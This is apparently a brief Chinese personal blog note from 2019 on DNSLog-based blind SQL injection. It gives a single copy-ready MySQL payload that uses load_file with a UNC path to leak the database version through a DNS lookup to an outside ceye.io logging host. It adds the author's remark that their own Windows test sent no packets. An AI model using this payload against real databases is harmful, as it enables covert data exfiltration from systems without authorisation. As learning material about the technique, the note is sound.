SQL注入——DNSLog盲注
为了复制方便:select load_file(concat('\\\\',(select version()),'.mysql.4zmpxr.ceye.io\\abc'))
//我自己在Windows下的MySQL里面试了半天,并没有成功,抓包发现,mysql连数据包都没有发送……不过这个网站里面的payload倒是有点用
这个函数只能在windows下使用
posted on 2019-08-01 22:59 thisismynickname 阅读(318) 评论(0) 编辑 收藏 举报